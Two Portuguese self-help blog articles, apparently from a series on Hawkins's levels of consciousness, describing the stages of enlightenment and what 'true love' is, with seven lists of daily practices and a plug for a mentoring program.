“Iluminação é caracterizada pelo desaparecimento dos desejos, necessidades, avidez e aversão. O som não tem nenhum efeito sobre o silêncio que persiste mesmo dentro do som e pensamentos mantidos em mente são muito poderosos e tendem a se manifestar rapidamente. Não há necessidade de ‘querer’ nada porque tudo se manifesta em nossa vida de forma espontânea e autônoma, sem vontade consciente ou esforço. Não há causa volitiva tal como um ato pessoal ou um “eu” que “decide” ações. Tudo simplesmente é como É, sem adjetivos e não há necessidade de verbos”.
Dr. David R. Hawkins; MD; PhD.

Os Estágios da Iluminação

O primeiro estágio de iluminação é a Paz.

É um estado de extrema simplicidade que compreende o complexo, mas não precisa usá-lo.

A simplicidade da inocência profunda que não se opõe ao discernimento.

A inocência cancela a intervenção orgulhosa do ceticismo e desconfiança que têm sua base no medo de estar errado ou de perder seus ganhos ou recompensas prazerosos narcisistas.

É um estado de descondicionamento das crenças de necessidades do ego. Tudo aquilo que se acredita que precisa ou que está certo, é colocado em prova.

A investigação e a humildade são o cume da experiência.

A busca pela Verdade já não é uma opção. É simplesmente natural, pois se sabe que quanto mais se sabe sobre a Verdade mais o Ser se liberta.

Aquele que ouve falar de iluminação já não pode mais se satisfazer com nada, pois é sabido que a ausência da Paz nos mantém no ciclo infinito de busca de prazer e experiência de desprazer dependentes diretamente do que está fora e em algum lugar no tempo ausente do Presente.

A iluminação está disponível para todos os seres humanos no momento Presente.

É então necessária a utilização da intenção e firme determinação para se desconectar dos padrões do ego que turvam e resistem à esta Realidade subjetiva e radical.

Quando se alcança o alto da consciência do Amor Incondicional então, o próximo passo é desapegar-se da ferramenta que trouxe o Ser até aqui: sua própria intenção.

Sem a necessidade da criação de intenções revela-se então o entendimento de que  “Seja feita a Vossa Vontade” e não a minha.

A paz está dentro de você e poderá ser sentida quando buscar se autoconhecer, saber seus limites e a forma de vendê-los. A prática de autodesafios  pode conectar você a esse estado de rendição e paz interior.

Você também pode se conectar à sua paz e buscar a iluminação conhecendo si mesmo através de Mentoria de Alta Performance.

Gloria in Excelsis Deo!

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Níveis de Consciência

O que é Amor Verdadeiro? – com base em Dr. David Hawkins

Ouvimos muito se falar de amor. Porém amor não é paixão e tampouco posse ou sofrimento. O amor verdadeiro é pureza, alegria e serenidade. Mas não é euforia e melancolia. O amor liberta. Aquilo que prende não pode ser considerado amor.

A pessoa no nível de consciência de amor entende que amor verdadeiro não se divide ou se subtrai.

Não tem como o amor por uma pessoa diminuir o amor pela outra. Ou perder amor por se estar longe.

Amor multiplica e soma. Quanto mais se ama, mais se é possível amar e mais se é amado.

Conecta-se à bondade como estilo de vida e não para ser reconhecido por atos pseudo-benevolentes ou de autossacrifício.

Consciência do Amor

A consciência do amor é a cura para os males do mundo.

A partir dela, o salto da fé transcende a ciência e tudo aquilo que é linear e lógico.

O amor não é uma emoção, e também não é razão, é um estado de Ser que está além do palpável e descritivo. É subjetivo, porém radicalmente autoevidente.

Amor é:

  • cura e também é fé,
  • presença e observação,
  • não-julgamento e não-resistência,
  • desapego e aceitação,
  • humildade e não-possuir,
  • bondade e generosidade,
  • perdão e misericórdia,

Amor é ainda

Ao mesmo tempo é gentil quando tem que ser e firme quando necessário. Amor complementa as energias ausentes no ambiente para que prevaleça o equilíbrio e harmonia. Isso é inverso de egoísmo.

É simplicidade, não de pobreza, de ausência, de escassez que vem do conceito material, mas de riqueza, de presença, de abundância advindo do espiritual.

O amor preenche o vazio que busca resultados, coisas e pessoas fora de si.

Não é mais necessário mostrar aos outros ou ser reconhecido. Amor convive pela vontade de compartilhar sua alegria e não pela necessidade de suprir sua carência.

Em amor, uma pessoa sabe, por experiência própria e indubitável, que em atos simples como o de virar um besouro que está de ponta cabeça para voltar a andar em graça, o universo inteiro reconhece e responde.

O retorno de uma ação benevolente vem por outras vias não-lineares.

Amor não tem ausência. Ausência é justamente falta de amor.

Em amor, nada falta, tudo que é necessário, nada mais e nada menos, se manifesta e acontece na sincronia perfeita do tempo exato.

Amor é simples. Não tem segredos. Porém, por sermos complexos, acabamos resistindo a esta Verdade. E então sofremos.

Para entender o que é amor, é necessário transcender a razão.

O que não é amor verdadeiro

Amor verdadeiro não é condicional. Condicionalidade é negociação, troca, paixão ou posse.

Paixão do latim significa sofrimento e posse vem do sânscrito dominar. Sofrimento e dominação não são amor, mas sim sua ausência.

Negociação e troca são conceitos usuais para o ser humano e devem ser cumpridos quando ambas as partes estão em acordo. Serão ainda mais poderosos se forem cumpridos com honra.

Honra é cumprir os acordos feitos entre si e o(s) outro(s) por amor. Honra é um aspecto do amor. Cumprir um acordo com irritação e indignação ou má-vontade, não é amor.

Amor verdadeiro também não é

Amor verdadeiro não é esperar que o outro mude. Isso é expectativa e expectativa gera frustração. E frustração não é amor, mas sim sua ausência. Amor é aceitar o outro como ele é sem esperar que ele mude. Amor é convidar e dar o seu melhor por aquele que quer mudar, sem criar expectativas que ele mude. Se for para ele mudar ele vai, se não, não vai, e isso não cabe a você.

Amor verdadeiro não é condescendência ou subserviência. Não é concordar ou patrocinar ações estúpidas ou destrutivas. Não é também ser bonzinho demais. Amor é severo e firme quando necessário, por amor e não por controle. Mas na maior parte do tempo é compreensivo e altruísta, generoso e gentil.

Amor verdadeiro não é ser meloso, grudento ou precisar ficar perto o tempo todo. Isso é baixa autoestima, carência, medo. Também é liberdade e preferência pela companhia, sem necessidade intrínseca, sem pressão no outro.

Amor também não é sempre falar sim, mas também saber falar não sem dó. Dó não é amor. Dó é tristeza por achar que alguém deveria ter mais do que tem. E se essa pessoa não tem mais do que tem é porque não é para ter.

O amor pode convidar essa pessoa a enxergar as possibilidades de trocar o ter pelo ser, e quando se é, se tem. Já o dó acredita que o outro não é capaz e supre a ilusão de vítima. Ninguém é vítima. Quem acredita que é vítima não pode conhecer o amor. E sempre será vítima.

Quando descolar desse papel, dessa máscara que se auto impôs por acreditar em falsas afirmações externas ou internas, essa pessoa conhecerá o que é o amor e, só então, entenderá que no amor não há espaço para vitimismo.

Aspectos do amor verdadeiro

O amor se engrandece na beleza. A busca de encontrar o belo por trás daquilo que julgamos erroneamente como feio, desequilibrado, incompleto, errado, problemático.

É preciso entender que a beleza é implícita a tudo que existe como é agora e não como virá a ser. Quando vir a ser, será uma beleza diferente porém igualmente perfeita.

Amor é a capacidade de entender que as coisas não partem da imperfeição para a perfeição e retornam para a imperfeição.

Uma semente é uma semente perfeita, que se torna um ramo perfeito, que vira um botão perfeito, que se transforma em uma rosa perfeita, e então em um flor murcha perfeita e um vegetal morto perfeito.

Tudo é perfeito na criação e evolução.

Gratidão

Outra característica importante do amor é a gratidão

Gratidão é um estado interno de Ser que identifica que tudo que temos e atraímos para nós é pró-evolução.

Se julgamos como bom, agradecemos por termos aquela oportunidade meritória, se julgamos como ruim, agradecemos por podermos aprender e nos fortalecermos com mais uma experiência.

Humor

O humor também é uma fase do amor.

Onde o externo não tem mais poder de abalar o humor interno. Apenas si mesmo pode mudar o seu humor.

O bom-humor está sempre presente seja em uma “discussão” necessária ou em uma apreciação em conjunto. O humor prevalece inabalado. Ainda não é permanente, mas se sobressai mais de 90% do tempo.

Felicidade

Amor também é sinônimo de felicidade. Quanto mais se ama e mais se mantém em amor, mais se é feliz.

Os estágios de amor mantém-se de 89% a 93% em estado de felicidade e serenidade no dia a dia. O que não significa inatividade ou condescendência, mas sim atividade alegre e determinação tranquila.

Felicidade é ausência de:

  • ansiedade,
  • angústia,
  • expectativa,
  • frustração,
  • irritação,
  • indignação,
  • inquietude,
  • rebeldia,
  • raiva,
  • tristeza,
  • medo,
  • insegurança,
  • inveja,
  • ciúme,
  • arrogância,
  • vaidade,
  • cobiça,
  • gula,
  • etc etc etc.

Autenticidade

O amor também pode ser visto como autenticidade. Autenticidade não é personalidade. Personalidade vem do latim persona que significa máscara.

Personalidade é uma máscara utilizada para ser aceito em círculos sociais, adaptando seu comportamento ao dos outros para que sua sobrevivência emocional seja atendida.

Autenticidade é ser quem é na essência sem a intenção de defender opiniões, ir contra ou adotar a crença dos outros. para se sentir reconhecido.

Amor verdadeiro é entender experiencialmente que o que é, É. Se fosse para ser diferente, seria.

Fortalecendo o amor verdadeiro

Para entendermos e compreendermos o que realmente é amor, é necessário experienciarmos. E, para experienciar, é importante trocar condenação por compreensão.

Para trocar condenação por compreensão é necessário ter contato com o conhecimento e transformá-lo em sabedoria.

Para adquirir sabedoria é preciso praticar. Praticando, experienciamos.

Abaixo seguem sete práticas para fortalecer o amor e enfraquecer a posse:

1. Ame a forma 

  • Faça práticas de autoaceitação no domínio da forma física
  • Olhe seu rosto no espelho e encontre a beleza por trás do que a sociedade aponta como imperfeição
  • Trate bem o seu corpo com alimentação na quantidade certa para aquele momento
  • Descanse e durma bem
  • Cheque sua saúde constantemente

2. Ame os prazeres 

  • Aproveite os momentos de prazer diminuindo euforia, algazarra, excessos e impulsos destrutivos como os causados pela inconsciência no consumo de bebidas, drogas ou outros entorpecentes
  • Não omita seus prazeres, mas também não os mime
  • Escassez e excesso são indicadores de ausência de amor
  • Equilíbrio e harmonia é amor
  • Divirta-se sem se prejudicar ou prejudicar os outros

3. Ame o trabalho 

  • Fazer é obrigação quando não há amor envolvido
  • Faça o que você decidiu fazer com amor. Com vontade. Dando o seu melhor
  • Se for fazer sem amor, melhor não fazer ou começar a buscar outras opções de trabalho ou atividades
  • Se o amor se desconectou da atividade, é melhor repensar
  • Porém, até que a mudança aconteça, se reconecte ao amor de dar o seu melhor como estilo de vida e não atrelado a algo ou alguém

4. Ame o próximo 

  • Busque aprofundar suas conexões pelos outros sem esperar nada em troca
  • Faça surpresas, dê presentes, ofereça ajuda sem esperar que o outro aceite
  • Sirva de maneira altruísta
  • Se não souber o que fazer, não faça, ouça, escute, emane cura e amor àquela pessoa necessitada
  • Troque dó por amor verdadeiro e convidativo, sem imposição ou coerção

5. Ame a si mesmo 

  • Busque florescer sua autenticidade
  • Se desconecte das máscaras sociais que têm adotado para se manter conectado com pessoas que não te aceitam do jeito que você é
  • Liberte-se internamente e a liberdade externa florescerá
  • Escute mais do que fala. Fale quando necessário
  • Não imponha ao outro e não exponha o outro
  • Concentre-se em assumir e corrigir seus defeitos de caráter se aceitando perfeito do jeito que É

6. Ame a vida

  • Busque se desapegar de seus conceitos, posicionamentos e julgamentos mentais
  • Abra mão de estar certo e escolha ser feliz
  • Deixe o mundo pensar como quiser
  • Aprecie e contemple o poder da vida e a beleza da morte
  • O antigo que abre espaço para o novo
  • A criação e evolução constante
  • Deixe de lado suas crenças e busque a Verdade maior sobre a menor que você enxerga agora
  • Faça da Verdade sua amiga e sua professora e não a enxergue como inimiga ou dedo-dura

7. Ame o Divino 

  • ‘Amai a Deus sobre todas as coisas’ não é o primeiro mandamento da bíblia a toa
  • Independente de qualquer religião ou dogma, ame algo maior que você mesmo
  • Ame a criação
  • Sirva o Universo ou o Cosmos, ou como preferir chamar
  • Desperte a união de si mesmo com o Todo
  • Seja misericordioso consigo e com os outros, porque ‘eles não sabem o que fazem’, como Jesus disse
  • Busque enxergar, aceitar e consertar suas falhas de caráter, pois ‘a ignorância é o único pecado’, como proferiu Buda
  • ‘Os atributos Divinos conduzem à libertação pelo autoconhecimento’, afirmou Krishna
  • Aceite que é ignorante sobre a sabedoria universal e invoque humildade a todo instante que se lembrar para entrar em um estado de ‘só sei que nada sei’ do sábio Sócrates
  • E então permita-se ‘ser a mudança que você quer ver no mundo’, como nos exemplificou Mahatma Gandhi.

Se conectando a esses autodesafios – diariamente, pouco a pouco, em uma progressão natural e sem se cobrar ou se pressionar – você começará a ver a mudança real aparecer e o sentimento de amor fluir cada vez mais até o momento onde você se permitir que ele jorre de si.

Se você se sentiu tocado por esse conteúdo e quiser compreender mais sobre como atingir o amor verdadeiro, você pode conhecer a Mentoria de Alta Performance.

Boa leitura e boas práticas!

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual